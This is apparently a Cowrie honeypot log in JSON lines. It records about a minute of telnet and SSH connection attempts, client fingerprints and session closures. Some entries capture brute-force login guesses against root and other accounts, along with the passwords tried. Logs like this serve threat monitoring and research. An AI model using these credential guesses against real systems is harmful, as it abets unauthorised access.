{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33708,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f35f24fca67","protocol":"telnet","message":"New connection: 209.126.87.217:33708 (159.203.135.109:23) [session: 6f35f24fca67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:58.795216Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33710,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3129c588aa6","protocol":"telnet","message":"New connection: 209.126.87.217:33710 (159.203.135.109:23) [session: d3129c588aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:59:59.104442Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33208,"dst_ip":"159.203.135.109","dst_port":23,"session":"22de159a3be0","protocol":"telnet","message":"New connection: 209.126.87.217:33208 (159.203.135.109:23) [session: 22de159a3be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:00.555880Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":34718,"dst_ip":"159.203.135.109","dst_port":22,"session":"97a6f4485255","protocol":"ssh","message":"New connection: 171.244.141.86:34718 (159.203.135.109:22) [session: 97a6f4485255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:02.948858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:02.956870Z","src_ip":"171.244.141.86","session":"97a6f4485255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:03.206170Z","src_ip":"171.244.141.86","session":"97a6f4485255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3E4r","message":"login attempt [root/1Q2w3E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:04.192989Z","src_ip":"171.244.141.86","session":"97a6f4485255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:05.438775Z","src_ip":"171.244.141.86","session":"97a6f4485255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.785287141799927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:06.315389Z","src_ip":"209.126.87.217","session":"353ae823de26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84267830848694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:08.584535Z","src_ip":"209.126.87.217","session":"3abd9992e7e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42568,"dst_ip":"159.203.135.109","dst_port":23,"session":"423244098964","protocol":"telnet","message":"New connection: 209.126.87.217:42568 (159.203.135.109:23) [session: 423244098964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:11.888293Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42578,"dst_ip":"159.203.135.109","dst_port":23,"session":"9444feb03188","protocol":"telnet","message":"New connection: 209.126.87.217:42578 (159.203.135.109:23) [session: 9444feb03188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:12.900707Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":50830,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4f2b6258402","protocol":"ssh","message":"New connection: 103.146.202.174:50830 (159.203.135.109:22) [session: d4f2b6258402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:13.918276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:13.924123Z","src_ip":"103.146.202.174","session":"d4f2b6258402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:14.176075Z","src_ip":"103.146.202.174","session":"d4f2b6258402","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd123456!@#$%^","message":"login attempt [root/Abcd123456!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:15.214674Z","src_ip":"103.146.202.174","session":"d4f2b6258402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:16.469131Z","src_ip":"103.146.202.174","session":"d4f2b6258402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.73320960998535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:16.997117Z","src_ip":"209.126.87.217","session":"6fef9354e65f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.791808366775513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:17.150038Z","src_ip":"209.126.87.217","session":"693b18468932","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42590,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb6996534a06","protocol":"telnet","message":"New connection: 209.126.87.217:42590 (159.203.135.109:23) [session: bb6996534a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:18.897425Z"}
{"eventid":"cowrie.session.closed","duration":31.014698028564453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:19.098014Z","src_ip":"209.126.87.217","session":"afefaee802af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.753217220306396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:19.303884Z","src_ip":"209.126.87.217","session":"d98cbf75a2f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.777562379837036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:21.562882Z","src_ip":"209.126.87.217","session":"400b18af172b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.8815393447876,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:21.599097Z","src_ip":"209.126.87.217","session":"45ffaefbb5dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.863548755645752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:24.009273Z","src_ip":"209.126.87.217","session":"093c75c09edb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48732,"dst_ip":"159.203.135.109","dst_port":22,"session":"737080c0ea41","protocol":"ssh","message":"New connection: 159.203.92.129:48732 (159.203.135.109:22) [session: 737080c0ea41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:24.739747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:24.745358Z","src_ip":"159.203.92.129","session":"737080c0ea41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:24.750648Z","src_ip":"159.203.92.129","session":"737080c0ea41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Changeme_123","message":"login attempt [ansible/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:24.764467Z","src_ip":"159.203.92.129","session":"737080c0ea41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:25.837501Z","src_ip":"159.203.92.129","session":"737080c0ea41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.231133222579956,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:26.460670Z","src_ip":"209.126.87.217","session":"b46633b6b8a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.80154085159302,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:27.202298Z","src_ip":"209.126.87.217","session":"c6ed9ce1a4b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40766,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e9a48c7a64e","protocol":"telnet","message":"New connection: 209.126.87.217:40766 (159.203.135.109:23) [session: 8e9a48c7a64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:27.616815Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40770,"dst_ip":"159.203.135.109","dst_port":23,"session":"675a8f442106","protocol":"telnet","message":"New connection: 209.126.87.217:40770 (159.203.135.109:23) [session: 675a8f442106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:27.976022Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44268,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cb1afd0bd5a","protocol":"telnet","message":"New connection: 209.126.87.217:44268 (159.203.135.109:23) [session: 0cb1afd0bd5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:30.444070Z"}
{"eventid":"cowrie.session.closed","duration":33.7851881980896,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:30.616037Z","src_ip":"209.126.87.217","session":"b98527d2975e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.833805561065674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:30.628934Z","src_ip":"209.126.87.217","session":"6f35f24fca67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44278,"dst_ip":"159.203.135.109","dst_port":23,"session":"60cfde0ada7c","protocol":"telnet","message":"New connection: 209.126.87.217:44278 (159.203.135.109:23) [session: 60cfde0ada7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:32.069241Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44294,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a10eb10f2fa","protocol":"telnet","message":"New connection: 209.126.87.217:44294 (159.203.135.109:23) [session: 0a10eb10f2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:32.650128Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44296,"dst_ip":"159.203.135.109","dst_port":23,"session":"3db6a102979d","protocol":"telnet","message":"New connection: 209.126.87.217:44296 (159.203.135.109:23) [session: 3db6a102979d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:33.411213Z"}
{"eventid":"cowrie.session.closed","duration":34.40377354621887,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:33.508105Z","src_ip":"209.126.87.217","session":"d3129c588aa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.05791211128235,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:33.613662Z","src_ip":"209.126.87.217","session":"22de159a3be0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44312,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fbe99165d2d","protocol":"telnet","message":"New connection: 209.126.87.217:44312 (159.203.135.109:23) [session: 9fbe99165d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:34.574424Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44324,"dst_ip":"159.203.135.109","dst_port":23,"session":"30c5e0e3c2b4","protocol":"telnet","message":"New connection: 209.126.87.217:44324 (159.203.135.109:23) [session: 30c5e0e3c2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:34.616343Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44338,"dst_ip":"159.203.135.109","dst_port":23,"session":"19a81dfd57ad","protocol":"telnet","message":"New connection: 209.126.87.217:44338 (159.203.135.109:23) [session: 19a81dfd57ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:35.284106Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44352,"dst_ip":"159.203.135.109","dst_port":23,"session":"71db5ff863f9","protocol":"telnet","message":"New connection: 209.126.87.217:44352 (159.203.135.109:23) [session: 71db5ff863f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:35.345333Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44368,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2caae002c94","protocol":"telnet","message":"New connection: 209.126.87.217:44368 (159.203.135.109:23) [session: c2caae002c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:35.553880Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44372,"dst_ip":"159.203.135.109","dst_port":23,"session":"789afa2271ab","protocol":"telnet","message":"New connection: 209.126.87.217:44372 (159.203.135.109:23) [session: 789afa2271ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:37.505025Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44380,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e81076d1bea","protocol":"telnet","message":"New connection: 209.126.87.217:44380 (159.203.135.109:23) [session: 5e81076d1bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:37.991560Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":33388,"dst_ip":"10.17.0.5","dst_port":22,"session":"877d19ded06a","protocol":"ssh","message":"New connection: 45.43.86.48:33388 (10.17.0.5:22) [session: 877d19ded06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:40.311979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:40.318583Z","src_ip":"45.43.86.48","session":"877d19ded06a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:40.408826Z","src_ip":"45.43.86.48","session":"877d19ded06a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpspassword","message":"login attempt [root/vpspassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:40.800424Z","src_ip":"45.43.86.48","session":"877d19ded06a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:41.895600Z","src_ip":"45.43.86.48","session":"877d19ded06a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.488027811050415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:43.376231Z","src_ip":"209.126.87.217","session":"423244098964","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.73207330703735,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:45.632680Z","src_ip":"209.126.87.217","session":"9444feb03188","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46400,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bd4e8671a77","protocol":"telnet","message":"New connection: 209.126.87.217:46400 (159.203.135.109:23) [session: 4bd4e8671a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:46.030318Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46410,"dst_ip":"159.203.135.109","dst_port":23,"session":"d90c1a342875","protocol":"telnet","message":"New connection: 209.126.87.217:46410 (159.203.135.109:23) [session: d90c1a342875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:46.130052Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46412,"dst_ip":"159.203.135.109","dst_port":23,"session":"96511f102311","protocol":"telnet","message":"New connection: 209.126.87.217:46412 (159.203.135.109:23) [session: 96511f102311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:46.845148Z"}
{"eventid":"cowrie.session.closed","duration":31.038347959518433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:49.935658Z","src_ip":"209.126.87.217","session":"bb6996534a06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36084,"dst_ip":"159.203.135.109","dst_port":23,"session":"31ea61872aca","protocol":"telnet","message":"New connection: 209.126.87.217:36084 (159.203.135.109:23) [session: 31ea61872aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:51.454908Z"}
